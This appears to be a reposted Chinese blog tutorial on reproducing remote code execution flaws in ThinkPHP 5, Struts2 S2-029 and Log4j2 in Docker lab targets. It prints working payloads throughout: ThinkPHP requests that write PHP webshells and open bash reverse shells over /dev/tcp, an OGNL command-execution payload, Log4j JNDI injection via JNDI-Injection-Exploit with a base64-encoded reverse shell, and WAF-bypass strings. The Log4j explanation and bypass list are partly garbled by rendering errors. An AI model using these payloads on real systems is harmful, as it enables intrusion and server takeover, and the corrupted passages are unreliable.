热门框架漏洞

news2024/11/27 18:29:12

文章目录

  • 一、Thinkphp5.0.23 代码执行
    • 1.thinkphp5框架
    • 2.thinkphp5高危漏洞
    • 3.漏洞特征
    • 4.THinkphp5.0 远程代码执行--poc
    • 5.*TP5实验一(Windows)
      • a.搭建实验环境
      • b.测试phpinfo
      • c.写入shell
      • d.使用菜刀连接
    • 6.*TP5实验二(Linux)
      • a.测试方法
      • b.测试phpinfo
      • c.写入shell
      • d.反弹shell(需进行url编码)
    • 7.任务:靶场thinkphp漏洞复现
  • 二、Struts2远程代码执行
    • 1.漏洞介绍
    • 2.Struts2执行代码的原理
    • 3.Struts2框架特征
    • 4.*S2-029漏洞复现(实验)
      • 1)拉取漏洞环境镜像到本地
      • 2)启动漏洞环境
      • 3)访问xxx.xxx.xxx.xxx:8080/default.action![在这里插入图片描述](https://img-blog.csdnimg.cn/3a9dfb9a4a354de8b218744b458e4c88.png)
      • 4)利用方法
        • 方法一:工具利用
        • 方法二:手工利用
      • 5)*复现任务
  • 三、log4j2远程代码执行
    • 1.漏洞介绍
    • 2.LDAP和JNDI
    • 3.漏洞原理
    • 4.*log4j2-漏洞复现(实验)
      • 1)拉取docker环境
      • 2)启动环境-查看镜像
      • 3)启动并端口映射
      • 4)测试步骤
        • 1)正常来测试,发现这里主要对{}产生过滤。
        • 2)将payload进行url编码。
    • 5.*log4j2-漏洞利用(实验)
      • 1)准备JNDI注入工具
      • 2)实验目标:在临时目录下生成文件
      • 3)启动JNDI-Injection-Exploit
      • 4)传递payload
      • 5)JNDI接收请求
      • 6)检查Docker容器,创建文件成功
      • 7)反弹shell
    • 6.log4j漏洞防护
      • 1.升级最新版本的log4j组件
      • 2.临时处理,过滤${},避免被执行命令
    • 7.poc

一、Thinkphp5.0.23 代码执行

1.thinkphp5框架

在这里插入图片描述

2.thinkphp5高危漏洞

在这里插入图片描述

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述

3.漏洞特征

在这里插入图片描述在这里插入图片描述

4.THinkphp5.0 远程代码执行–poc

Windows:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC参数解析
method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量
在这里插入图片描述在这里插入图片描述

5.*TP5实验一(Windows)

a.搭建实验环境

b.测试phpinfo

利用system函数远程命令执行,通过phpinfo函数查看phpinfo()的信息;
在这里插入图片描述在这里插入图片描述

写入phpinfo();
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo “<?php phpinfo(); ?>” > 1.php

c.写入shell

查看是否成功的写入shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo “<?php @eval($_POST[123]); ?>” > shell.php
在这里插入图片描述

d.使用菜刀连接

在这里插入图片描述

6.*TP5实验二(Linux)

a.测试方法

Linux:_method=__construct&filter[]=system&method=get&get[]=pwd
TP5的验证码在/vendor/topthink/think-captcha 目录下,文件分别是Captcha.php 、CaptchaController.php 和helper.php 三个文件。可以直接通过http://localhost/项目名称/public/index.php/captcha 来进行访问。
在这里插入图片描述

b.测试phpinfo

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。
在这里插入图片描述

c.写入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
在这里插入图片描述

d.反弹shell(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash±c+“bash±i+>%26+/dev/tcp/192.168.188.116/9999+0>%261”

7.任务:靶场thinkphp漏洞复现

https://vulhub.org/#/environments/
在这里插入图片描述

tp5 poc参考大全
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

二、Struts2远程代码执行

1.漏洞介绍

Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。

2.Struts2执行代码的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。
struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

3.Struts2框架特征

查看被测应用系统的源码,URL接口地址以“.action”“.do”结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

4.*S2-029漏洞复现(实验)

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值。

parameters:

Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 影响版本:Struts 2.0.0 -2.3.24.1(不包括2.3.20.3) 复现步骤:

1)拉取漏洞环境镜像到本地

命令:docker pull medicean/vulapps:s_struts2_s2-029

2)启动漏洞环境

命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
在这里插入图片描述

3)访问xxx.xxx.xxx.xxx:8080/default.action在这里插入图片描述

4)利用方法

方法一:工具利用

在这里插入图片描述

方法二:手工利用

poc:
(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))
注意:有些利用的时候要记得url编码
在这里插入图片描述

5)*复现任务

S2-61
S2-45
S2-46
S2-29

三、log4j2远程代码执行

1.漏洞介绍

log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
在这里插入图片描述

影响版本
Log4j2.x<=2.14.1

2.LDAP和JNDI

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名
JNDI :JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

3.漏洞原理

我们在很多漏洞复现文章看到构造的payload是这样的 j n d i : l d a p : / / x x x . x x x . x x x . x x x : 1389 / E x p , 该漏洞是由于 A p a c h e L o g 4 j 2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 L o g 4 j 2 组件在处理程序日志记录时存在 J N D I 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 L o g 4 j 2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 L o g 4 j 2 漏洞总的来说就是:因为 L o g 4 j 2 默认支持解析 l d a p / r m i 协议(只要打印的日志中包括 l d a p / r m i 协议即可),并会通过名称从 l d a p 服务端其获取对应的 C l a s s 文件,并使用 C l a s s L o a d e r 在本地加载 L d a p 服务端返回的 C l a s s 类。 A p a c h e L o g 4 j 远程代码执行漏洞,正是由于组件存在 J a v a J N D I 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 A p a c h e L o g 4 j 2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用 j n d i 访问 l d a p 服务后, l d a p 服务返回了 c l a s s 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 L o g 4 j 2 可以对日志中的“ {jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}, 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。 Apache Log4j 远程代码执行漏洞,正是由于组件存在Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。 远程代码执行漏洞,是利用了Log4j2可以对日志中的“ jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp,该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。ApacheLog4j远程代码执行漏洞,正是由于组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的{}”进行解析执行,来进行攻击的。

4.*log4j2-漏洞复现(实验)

1)拉取docker环境

docker pull vulfocus/log4j2-rce-2021-12-09

2)启动环境-查看镜像

docker images
在这里插入图片描述

3)启动并端口映射

docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

在这里插入图片描述

4)测试步骤

1)正常来测试,发现这里主要对{}产生过滤。

2)将payload进行url编码。

生成你自己的DNSlog并将生成的地址替换进payload=${jndi:ldap://DNSLog/exp},然后发生数据给靶机。
在这里插入图片描述

/hello?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}显示400,即错误的请求。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

回到DNSLog页面刷新Refresh Record 便能查询道靶机递归查询日志的记录。
Log4J2漏洞的危害便是能够远程执行代码,并且采用此框架件的厂商众多,造成的危害面广
在这里插入图片描述

5.*log4j2-漏洞利用(实验)

利用JNDI注入工具在攻击机上开启JNDI服务器

1)准备JNDI注入工具

git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
然后使用命令mvn clean package -DskipTests编译
在这里插入图片描述

或者直接使用:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在这里插入图片描述

2)实验目标:在临时目录下生成文件

在这里插入图片描述

从上面可以看到,目前docker容器中/tmp目录中只有三个文件

3)启动JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “touch /tmp/88888888888” -A “192.168.179.128”
注释:-C是执行的bash命令,后面是执行的具体命令,用双引号引起来-A 指服务器的IP
在这里插入图片描述

因为JDK版本的问题,我们选择的链接是rmi://192.168.179.128:1099/e9zac9
注意:这个链接每次运行JNDI-Injection-Exploit 时都会变化
在这里插入图片描述在这里插入图片描述

4)传递payload

打开浏览器,用get传递payload,payload=${jndi:rmi://192.168.179.128:1099/e9zac9}
进行URL编码为%24%7Bjndi%3Armi%3A%2F%2F192.168.179.128%3A1099%2Fe9zac9%7D
在这里插入图片描述在这里插入图片描述

5)JNDI接收请求

在这里插入图片描述

6)检查Docker容器,创建文件成功

在这里插入图片描述

7)反弹shell

反弹shell的操作与“在临时目录下生成文件”类似,反弹shell命令为
bash -i >& /dev/tcp/192.168.179.128/77770>&1
并且需要进行base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMjgvNzc3NyAwPiYx
启动JNDI-Injection-Exploit 命令改为:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.179.128”
并且需要在Kali另一个终端开启nc监听比如:nc -lvvp 7777
表示NC在7777端口上监听
其余操作与“在临时目录下生成文件”大同小异

6.log4j漏洞防护

1.升级最新版本的log4j组件

2.临时处理,过滤${},避免被执行命令

7.poc

${jndi:ldap://xxx.dnslog.cn/poc}
waf绕过
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::n{::-d} : : − i : {::-i}: ::i:{::-r} : : − m {::-m} ::m{::-i}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:jndi}😒{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 13: {lower:jndi}}̲:{lower:rmi}😕/xxx.dnslog.cn/poc}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d}i:${lower:rmi}😕/xxx.dnslog.cn/poc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/952440.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows系统中Apache Http服务器简单使用

1 简介 Apache HTTP服务器是一个开源的、跨平台的Web服务器软件。它由Apache软件基金会开发和维护。Apache HTTP服务器可以在多种操作系统上运行&#xff0c;如Windows、Linux、Unix等&#xff0c;并且支持多种编程语言和技术&#xff0c;如PHP、Perl、Python、Java等。…

物联网智慧种植农业大棚系统

一、项目背景 智慧农业是是将物联网技术和农业生产箱管理的新型农业&#xff0c;依托部署在农业生产现场的各种传感节点&#xff0c;以物联网网关为通道形成数据传输网络&#xff0c;可以实现控制柜、环境监测传感器、气象监测机器等设备的远程监控&#xff0c;达到及时高校的…

docker 安装 Nginx

1、下载 docker pull nginx:latest 2、本地创建管理目录 mkdir -p /var/docker/nginx/conf mkdir -p /var/docker/nginx/log mkdir -p /var/docker/nginx/html 3、将容器中的相应文件复制到管理目录中 /usr/docker/nginx docker run --name nginx -p 80:80 -d nginxdocke…

小猫爪:嵌入式小知识18-XCP SeedNKey.dll

小猫爪&#xff1a;嵌入式小知识18-XCP SeedNKey.dll 0 目录1 前言2 生成DLL2.1 下载模板代码2.2 函数简介2.2 DLL编译 3 使用DLLEND 0 目录 小猫爪&#xff1a;嵌入式小知识15-XCP基础简介小猫爪&#xff1a;嵌入式小知识16-XCP协议简介小猫爪&#xff1a;嵌入式小知识17-XCP…

OpenGl图像的位移及旋转

一般而言&#xff0c;改变物体的位置时&#xff0c;需要改变每一帧所有顶点的坐标&#xff0c;计算量巨大 可以将每一个顶点用向量值表示&#xff0c;使用位移矩阵&#xff0c;缩放矩阵&#xff0c;旋转矩阵对顶点进行操作。 顶点着色器&#xff1a; #version 330 core layo…

LeetCode--HOT100题(46)

目录 题目描述&#xff1a;114. 二叉树展开为链表&#xff08;中等&#xff09;题目接口解题思路代码 PS: 题目描述&#xff1a;114. 二叉树展开为链表&#xff08;中等&#xff09; 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链…

解决Jackson解析JSON时出现的Illegal Character错误

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

微信小程序echart导出图片

echarts版本5.1.0 用到的echarts组件是uni插件市场的echart组件 <div style"overflow: hidden;"><dCanvas class"uni-ec-canvass" id"uni-ec-canvas" ref"canvas" canvas-id"mychart-gauge" :ec"ec"&g…

恒运资本:如何利用股票筹码进行选股?有什么方法?

在进行股票之前最重要的便是进行股票的挑选&#xff0c;股票挑选有许多办法&#xff0c;比如说消息面选股、使用筹码进行选股等。那么怎么使用股票筹码进行选股&#xff1f;有什么办法&#xff1f;就下面就由恒运资本为大家剖析&#xff1a; 投资者能够根据以下筹码变动特点来进…

基于猎食者算法优化的BP神经网络(预测应用) - 附代码

基于猎食者算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于猎食者算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.猎食者优化BP神经网络2.1 BP神经网络参数设置2.2 猎食者算法应用 4.测试结果&#xff1a;5.Matlab代…

QT基础教程之八Qt消息机制和事件

QT基础教程之八Qt消息机制和事件 QPainter Qt 的绘图系统允许使用相同的 API 在屏幕和其它打印设备上进行绘制。整个绘图系统基于QPainter&#xff0c;QPainterDevice和QPaintEngine三个类。 QPainter用来执行绘制的操作&#xff1b;QPaintDevice是一个二维空间的抽象&#…

【已解决】激活虚拟环境报错:此时不应有Anaconda3\envs\[envs]\Library\ssl\cacert.pem。

新建虚拟环境后&#xff0c;进入虚拟环境的时候出现这样的报错&#xff1a; 此时不应有Anaconda3 envs yolov5 Library ssl cacert.pem。 但是之前装的虚拟环境也还能再次激活&#xff0c;base环境也无任何问题&#xff0c;仅新装的虚拟环境无法激活。 查遍了百度谷歌&#xff…

鸿蒙系列-如何使用好 ArkUI 的 @Reusable?

如何使用好 ArkUI 的 Reusable&#xff1f; OpenHarmony 组件复用机制 在ArkUI中&#xff0c;UI显示的内容均为组件&#xff0c;由框架直接提供的称为 系统组件&#xff0c;由开发者定义的称为 自定义组件。 在进行 UI 界面开发时&#xff0c;通常不是简单的将系统组件进行组合…

classpath:和classpath*:的区别

1、classpath是什么 classpath是指编译之后的target中的classes目录&#xff0c;该目录中存放的内容和源程序中对应的例子如下&#xff1a; 2、classpath:和classpath*:的区别 classpath&#xff1a; 只会到你的target下面的class路径中查找找文件 classpath*&#xff1a; …

使用 Python编程: 下载 YouTube 音频的桌面应用程序

最近我开发了一个使用 Python 编写的桌面应用程序&#xff0c;可以方便地下载 YouTube 音频。该应用程序使用了 wxPython、yt_dlp 和 tqdm 库&#xff0c;提供了一个简单直观的用户界面&#xff0c;并具备高效的下载功能。 C:\pythoncode\new\youtube-dl-audio.py 程序介绍 …

在 Spring Boot 中集成 MinIO 对象存储

MinIO 是一个开源的对象存储服务器&#xff0c;专注于高性能、分布式和兼容S3 API的存储解决方案。本文将介绍如何在 Spring Boot 应用程序中集成 MinIO&#xff0c;以便您可以轻松地将对象存储集成到您的应用中。 安装minio 拉取 minio Docker镜像 docker pull minio/minio创…

Linux串口驱动

《I.MX6ULL 参考手册》第 3561 页的“Chapter 55 Universal Asynchronous Receiver/Transmitter(UART) I.MX6ULL串口原理 1.1UART与USART UART是异步通信&#xff0c;USART是异步/同步通信&#xff0c;比UART多了一条时钟线 USART 的全称是 Universal Synchronous/Asynchr…

【Dots之003】SystemAPI.Query相关基础笔记

1、SystemAPI.Query 注&#xff1a;SystemAPI.Query只能作为foreach中in的的子句 SystemAPI.Query<RefRO<LocalTransform>>().WithAll<Obstacle>()解析&#xff1a;对于每个具有LocalTransform和Obstacle的Entity&#xff1b;都会将LocalTransform的只读引…

VBA:对Excel单元格进行合并操作

Sub hb()Dim nn 3For i 3 To 18If Range("b" & i) <> Range("b" & i 1) ThenRange("b" & n & ":b" & i).Mergen i 1End IfNextEnd Sub

基于Java+SpringBoot+Mybaties-plus+Vue+ElementUI 高校汉服租赁网站的 设计与实现

一.项目介绍 高校汉服租赁网站分为普通用户以及管理员两类 普通用户&#xff1a; 注册、登录系统、查看汉服首页发帖公告信息、 交流论坛&#xff08;发帖、查看帖子、评论&#xff09;、 公告咨询&#xff08;查看公告以及评论&#xff09;、 汉服信息&#xff08;查…